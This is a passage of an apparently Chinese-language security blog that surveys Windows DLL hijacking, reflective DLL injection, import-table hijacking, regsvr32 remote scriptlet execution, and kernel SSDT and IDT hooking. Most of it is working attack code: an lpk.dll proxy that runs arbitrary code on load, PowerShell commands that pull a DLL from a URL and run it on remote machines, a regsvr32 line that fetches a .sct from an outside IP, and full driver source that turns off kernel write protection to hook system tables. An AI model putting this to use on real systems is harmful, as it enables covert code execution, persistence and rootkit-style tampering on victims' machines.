Free() { if (m_hModule) { FreeLibrary(m_hModule); } } // 获取原始函数地址 FARPROC WINAPI GetAddress(PCSTR pszProcName) { FARPROC fpAddress; CHAR szProcName[16]; TCHAR tzTemp[MAX_PATH]; fpAddress = GetProcAddress(m_hModule, pszProcName); if (fpAddress == NULL) { if (HIWORD(pszProcName) == 0) { wsprintf(szProcName, "%d", pszProcName); pszProcName = szProcName; } wsprintf(tzTemp, TEXT("没法找到函数 %hs,程序没法正常运行。"), pszProcName); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); ExitProcess(-2); } return fpAddress; } } using namespace AheadLib; //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////// //函数声明 void WINAPIV Init(LPVOID pParam); //////////////////////////////////////////////////////////////////////////////////////////////// void WINAPIV Init(LPVOID pParam) { //在这里添加DLL加载代码 MessageBox(NULL, TEXT("能够执行任意代码了,测试成功。"), TEXT("littlehann.com"), MB_OK | MB_ICONWARNING); return; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 入口函数 BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) { if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); if(Load()) { //LpkEditControl这个数组有14个成员,必须将其复制过来 memcpy((LPVOID)(LpkEditControl+1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1),52); _beginthread(Init,NULL,NULL); } else return FALSE; } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkInitialize(void) { GetAddress("LpkInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkTabbedTextOut(void) { GetAddress("LpkTabbedTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkDllInitialize(void) { GetAddress("LpkDllInitialize"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkDrawTextEx(void) { GetAddress("LpkDrawTextEx"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkEditControl(void) { GetAddress("LpkEditControl"); __asm jmp DWORD ptr [EAX];//这里的LpkEditControl是数组,eax存的是函数指针 } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkExtTextOut(void) { GetAddress("LpkExtTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkGetCharacterPlacement(void) { GetAddress("LpkGetCharacterPlacement"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkGetTextExtentExPoint(void) { GetAddress("LpkGetTextExtentExPoint"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkPSMTextOut(void) { GetAddress("LpkPSMTextOut"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_LpkUseGDIWidthCache(void) { GetAddress("LpkUseGDIWidthCache"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 ALCDECL AheadLib_ftsWordBreak(void) { GetAddress("ftsWordBreak"); __asm JMP EAX; } //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /* win7及win7以上系统增长了KnownDLLs保护,须要在注册表 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ExcludeFromKnownDlls 下添加 "lpk.dll" 才能顺利劫持。 */
0x3: DLL劫持防护
1. 添加KnownDLL
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\KnownDLL
该项下的子健表明了dll的名字,若是这里存在lpk.dll,则系统不会加载当前目录下的lpk.dll,而是会去系统盘加载
Relevant Link:
http://drops.xmd5.com/static/drops/tips-9106.html http://www.yunsec.net/a/school/bdzs/fmuma/2013/0117/12276.html http://www.cnblogs.com/swyft/articles/5580342.html https://github.com/eric21/lpk http://www.cnblogs.com/goding/archive/2012/04/04/2431966.html
http://gslab.qq.com/article-205-1.htm
16. Reflective DLL Injection with PowerShell
基于powershel的dll反射注入和基于shellcode的dll反射植入原理都是同样的,区别在于执行的载体是powershell,在攻击时,系统上也会多出一个powershell进程,黑客利用漏洞得到指令的执行权限后,能够远程执行执行powershell script
0x1: How to use
The script currently allows you to load a DLL from a local file (and execute it remotely) or retrieving the DLL from a URL. It is also possible and easy to modify the script with a hardcoded DLL byte array
# loads a DLL from a URL and runs it on a remote computer: Invoke-ReflectiveDllInjection -DllUrl http://yoursite.com/sampleDLL.dll -FuncReturnType WString -ComputerName COMPUTER # loads a DLL from a file and runs it on a list of computers loaded from computers.txt: Invoke-ReflectiveDllInjection –DllPath DemoDll.dll –FuncReturnType String –ComputerName (Get-Content computers.txt) PowerShell.exe -file Invoke-ReflectivePEInjection.ps1 –DllPath C:\Users\Administrator\Documents\Visual Studio 2017\Projects\testDll\Release\testDll.dll –FuncReturnType VoidFunc –ComputerName WINDOWS-2181810
-FuncReturnType参数用于指定须要从DLL中执行的导出函数.
Once the DLL is loaded, the script will call a function of your choosing from the DLL. This means you must create a delegate function in PowerShell, retrieve the function address in the DLL, map it to the delegate function, and call the function.
The ComputerName parameter is exactly the same as ComputerName in Invoke-Command (the variable is passed directly to Invoke-Command); you can use it to specify one or more computers to run the script on remotely. This is an optional parameter, if you specify no ComputerName the script will run locally.
运行时,可能会遇到以下错误
windows默认禁止未签名过的pshell脚本
set-ExecutionPolicy RemoteSigned
Relevant Link:
http://blog.gentilkiwi.com/mimikatz https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection https://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
17. 修改exe文件自身导入表劫持dll
在恶意软件中,黑客经常使用的作法大概是这样的
1. 在初始投递的恶意样本中自带一个dll文件(多是放在资源段中) 2. 样本启动后将dll释放出来,而后复制到系统目录下(system32) 3. 遍历C盘下全部的.exe文件 4. 将每一个.exe文件导入表中的kernel32.dll修改成黑客复制过来的dll文件,例如kernel32_hacked.dll 5. 这样,系统中这些程序启动时,就会由系统本身的image loader去加载kernel32_hacked.dll,从而执行其中dllMain里面的恶意逻辑 6. 为了保证系统中正常程序能正常启动运行,kernel32_hacked.dll必须拷贝原来kernel32.dll中的全部导出函数做为本身的导出函数,即作一次转发,起到Hook的逻辑
从技术原理上看,这种劫持技术和lpk劫持是同样的,区别在于lpk劫持不修改目标exe自己,而是"顺应环境",在目标exe的导入dll中挑选一个进行劫持,若是目标应用没有使用自定义的dll而只使用了原生的系统dll,则由于系统dll的反劫持保护(UnKnownDdlls)的关系,dll劫持就很难进行,遇到这种状况,就须要修改目标exe自己,对其导入的dll修改成黑客本身的dll,并在黑客放置的劫持dll中进行api转发
这种dll劫持技术有一个缺点,就是不能对运行中的进程实施dll劫持,必须等目标进程从新启动或者从新加载到对应dll的时候才会触发劫持逻辑,若是目标进程是一个运行中的常驻进程,则就须要用到其余dll注入api hook技术
Relevant Link:
https://wenku.baidu.com/view/869b06758e9951e79b8927ee http://yonsm.net/aheadlib/ https://github.com/Yonsm/AheadLib http://yonsm.net/aheadlib/
http://www.programgo.com/article/31511075396
18. 利用regsvr32 /s /i:http:注册dll组件
Regsvr32命令是Windows中控件文件(如扩展名为DLL、OCX、CPL的文件)的注册和反注册工具。命令格式
Regsvr32 [/s] [/n] [/i[:cmdline]] dllname /u 卸载安装的控件,卸载服务器注册 /s 注册成功后不显示操做成功信息框 /i 调用DllInstall函数并把可选参数[cmdline]传给它,当使用/u时用来卸载DLL /n 不调用DllRegisterServer,该参数必须和/i一块儿使用
黑客在获取RDP弱口令以后,经常使用at计划任务、wmi计划任务,或者psexec执行下列指令
regsvr32 /u /s /i:http://30.11.230.10/test/v.sct scrobj.dll
wireshark抓包以下
Relevant Link:
http://carywu.blog.51cto.com/13185/9536 https://technet.microsoft.com/en-us/library/bb490985.aspx
19. windows SSDT hook - 内核态hook
系统服务描述表(SSDT)也称为系统服务分发表,微软使用它来查找进入内核的系统调用,它一般不被第三方应用程序直接访问。内核代码只能被用户态的SYSCALL、SYSENTER、INT 0X2E指令来访问(这是软件中断)
typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; //这个参数是ssdt数组的基址,有了它,咱们再给出具体函数的偏移,就能找到正确的函数地址了 unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; //这个是ssdt这个数组的最大值,也就是ssdt中函数的个数 unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
有了这个结构事后,按照偏移就能够找到想要Hook的函数的地址了。可是hook以前,须要修改内核保护,不然遇到蓝屏问题
void PageProtectOff() { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } }
Cro这个寄存器就保存了内核保护的标志位,用 10000h取反再和他进行与运算,就使标志位从1变成0了,就能够修改内核了
#include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() NTSTATUS PsLookupProcessByProcessId( IN HANDLE ProcessId, OUT PEPROCESS *Process ); __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef NTSTATUS(*MYNTOPENPROCESS)( OUT PHANDLE ProcessHandle, IN ACCESS_MASK AccessMask, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId );//定义一个指针函数,用于下面对O_NtOpenProcess进行强制转换 ULONG O_NtOpenProcess; BOOLEAN ProtectProcess(HANDLE ProcessId,char *str_ProtectObjName) { NTSTATUS status; PEPROCESS process_obj; if(!MmIsAddressValid(str_ProtectObjName))//这个条件是用来判断目标进程名是否有效 { return FALSE; } if(ProcessId==0)//这个条件是用来排除System Idle Process进程的干扰 { return FALSE; } status=PsLookupProcessByProcessId(ProcessId,&process_obj);//这句用来获取目标进程的EPROCESS结构 if(!NT_SUCCESS(status)) { KdPrint(("error :%X---is s process ID:%d",status,ProcessId)); return FALSE; } if(!strcmp((char *)process_obj+0x174,str_ProtectObjName))//进行比较 { ObDereferenceObject(process_obj);//对象计数器减1,为了恢复对象管理器计数,便于回收 return TRUE; } ObDereferenceObject(process_obj); return FALSE; } NTSTATUS MyNtOpenProcess ( __out PHANDLE ProcessHandle, __in ACCESS_MASK DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __in_opt PCLIENT_ID ClientId ) { //KdPrint(("%s",(char *)PsGetCurrentProcess()+0x174)); if(ProtectProcess(ClientId->UniqueProcess,"calc.exe")) { KdPrint(("%scan not open me",(char *)PsGetCurrentProcess()+0x174)); return STATUS_UNSUCCESSFUL; } //KdPrint(("Hook Success!")); return ((MYNTOPENPROCESS)O_NtOpenProcess)(ProcessHandle,//处理完本身的任务后,调用原来的函数,让其它进程正常工做 DesiredAccess, ObjectAttributes, ClientId); } void PageProtectOff()//关闭页面保护 { __asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void PageProtectOn()//打开页面保护 { __asm{ mov eax,cr0 or eax,10000h mov cr0,eax sti } } void UnHookSsdt() { PageProtectOff(); KeServiceDescriptorTable.ServiceTableBase[122]=O_NtOpenProcess;//恢复ssdt中原来的函数地址 PageProtectOn(); } NTSTATUS ssdt_hook() { O_NtOpenProcess=KeServiceDescriptorTable.ServiceTableBase[122];//保存原来的函数地址 PageProtectOff(); //将原来ssdt中所要hook的函数地址换成咱们本身的函数地址 KeServiceDescriptorTable.ServiceTableBase[122]=(unsigned int)MyNtOpenProcess; PageProtectOn(); return STATUS_SUCCESS; } void DriverUnload(PDRIVER_OBJECT pDriverObject) { UnHookSsdt(); KdPrint(("Driver Unload Success !")); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegsiterPath) { DbgPrint("This is My First Driver!"); ssdt_hook(); pDriverObject->DriverUnload = DriverUnload; return STATUS_SUCCESS; }
Relevant Link:
http://bbs.pediy.com/thread-176477.htm http://www.cnblogs.com/BoyXiao/archive/2011/09/04/2166596.html
20. windows IDT hook - 内核态hook
现代的处理器实现了用硬件方式触发软件事件的中断,系统发送一条命令到硬件,硬件处理完事件后会向cpu发送中断信号,中断处理器。有时,驱动或者rootkit会利用中断来执行代码,驱动程序调用ioconnectinterrupt函数为特定中断注册一个处理程序,而后为这个中断指定一个中断服务例程(ISR),每当触发该中断时,系统都会调用注册的中断服务例程
中断描述表(IDT)存储着ISR的信息,IDT表的长度与地址是由CPU的IDTR寄存器来描述的。IDTR寄存器共有48位,高32位是IDT表的基地址,低16位是IDT的长度
typedef struct _IDTR{ USHORT IDT_limit; USHORT IDT_LOWbase; USHORT IDT_HIGbase; }IDTR,*PIDTR; IDTR idtr;
__asm SIDT idtr;
能够经过以上SIDT指令能够读取IDTR寄存器。而后经过MAKEWORD宏把高位与地位组合起来就能够得到IDT表的基地址了。
简单来讲,IDT表是一张位于物理内存的线性表,共有256个表项。在32位模式下,每一个IDT表项的长度是8个字节(64 bit),IDT表的总长度是2048字节
kd> r idtr idtr=8003f400 kd> r idtl idtl=000007ff
经过Windbg命令 r idtr、r idtl能够读取IDT表的基地址与边界
IDT表中每一项(4byte)也称为“门描述符”,之因此这样称呼,是由于IDT表项的基本用途就是引领CPU从一个空间到另外一个空间去执行,每一个表项好像是一个空间到另外一个空间的大门。
IDT表中能够包含如下3种门描述符,它们本质都同样,只是表明了不一样的业务场景
1. 任务门描述符: 用于任务切换,里面包含用于选择任务状态段(TSS)的段选择子。可使用JMP或CALL指令经过任务门来切换到任务门所指向的任务,当CPU由于中断或异常转移到任务门时,也会切换到指定任务 2. 中断门描述符: 用于描述中断例程的入口 3. 陷阱门描述符: 用于描述异常处理例程的入口
HOOK代码
#ifndef CXX_IDTHOOK_H # include "IDTHook.h" #endif #define WORD USHORT #define DWORD ULONG ULONG g_InterruptFun = 0; #define MAKELONG(a, b) ((LONG)(((WORD)(((DWORD_PTR)(a)) & 0xffff)) \ | ((DWORD)((WORD)(((DWORD_PTR)(b)) & 0xffff))) << 16)) NTKERNELAPI VOID KeSetSystemAffinityThread ( KAFFINITY Affinity ); NTKERNELAPI VOID KeRevertToUserAffinityThread ( VOID ); PULONG GetKiProcessorBlock() { ULONG* KiProcessorBlock = 0; KeSetSystemAffinityThread(1); //使当前线程运行在第一个处理器上 _asm { push eax mov eax,FS:[0x34] add eax,20h mov eax,[eax] mov eax,[eax] mov eax,[eax+218h] mov KiProcessorBlock,eax pop eax } KeRevertToUserAffinityThread(); return KiProcessorBlock ; } void PageProtectOn() { __asm{//恢复内存保护 mov eax,cr0 or eax,10000h mov cr0,eax sti } } void PageProtectOff() { __asm{//去掉内存保护 cli mov eax,cr0 and eax,not 10000h mov cr0,eax } } void _stdcall FilterInterruptFun() { DbgPrint("CurrentProcess : %s",(char*)PsGetCurrentProcess()+0x174); } _declspec(naked) void Fake_InterruptFun() { _asm{ pushad pushfd push fs push 0x30 pop fs call FilterInterruptFun; pop fs popfd popad jmp g_InterruptFun } }; NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString) { IDTR Idtr; PIDTENTRY pIdtEntry; ULONG ulIndex = 0 ; ULONG* KiProcessorBlock; pDriverObj->DriverUnload = DriverUnload; KiProcessorBlock = GetKiProcessorBlock(); DbgPrint("%X\r\n",KiProcessorBlock); while (KiProcessorBlock[ulIndex]) { pIdtEntry = *(PIDTENTRY*)(KiProcessorBlock[ulIndex] - 0x120 + 0x38) ; DbgPrint("IDT Base:%X\r\n",pIdtEntry); g_InterruptFun = MAKELONG(pIdtEntry[3].LowOffset,pIdtEntry[3].HiOffset); DbgPrint("InterruptFun3:%X\r\n",g_InterruptFun); PageProtectOff(); pIdtEntry[3].LowOffset = (unsigned short)((ULONG)Fake_InterruptFun & 0xffff); pIdtEntry[3].HiOffset = (unsigned short)((ULONG)Fake_InterruptFun >> 16); PageProtectOn(); ulIndex++; } return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj) { return; }
里面得到IDT表的时候没有经过寄存器IDTR进行读取,是由于对于多核CPU来讲不必定只有一个IDT表,而经过IDTR来读取只能读到一份表,因此HOOK IDT的时候必定要注意多核问题
系统维护了一个全局的处理器数组KiProcessorBlock,其中每一个元素对应于一个处理器的KPRCB 对象
Relevant Link:
http://www.cnblogs.com/zibility/p/5663825.html http://www.cnblogs.com/lanrenxinxin/p/4692013.html
21. IAT hook - 用户态hook
iat hook是一种针对单个应用态进程的单点hook,这种挂钩方法修改目标进程的导入地址表(iat)
每一个进程调用的 API 函数地址都保存在 IAT 表中。为了修改这个IAT表,咱们能够采起dll注入或者writeremoteprocess的方法,最终目的都同样,修改远程目标进程的iat 函数调用
Relevant Link:
http://blog.csdn.net/misterliwei/article/details/840983 http://www.freebuf.com/articles/system/99141.html http://bbs.pediy.com/thread-141437.htm
Copyright (c) 2017 LittleHann All rights reserved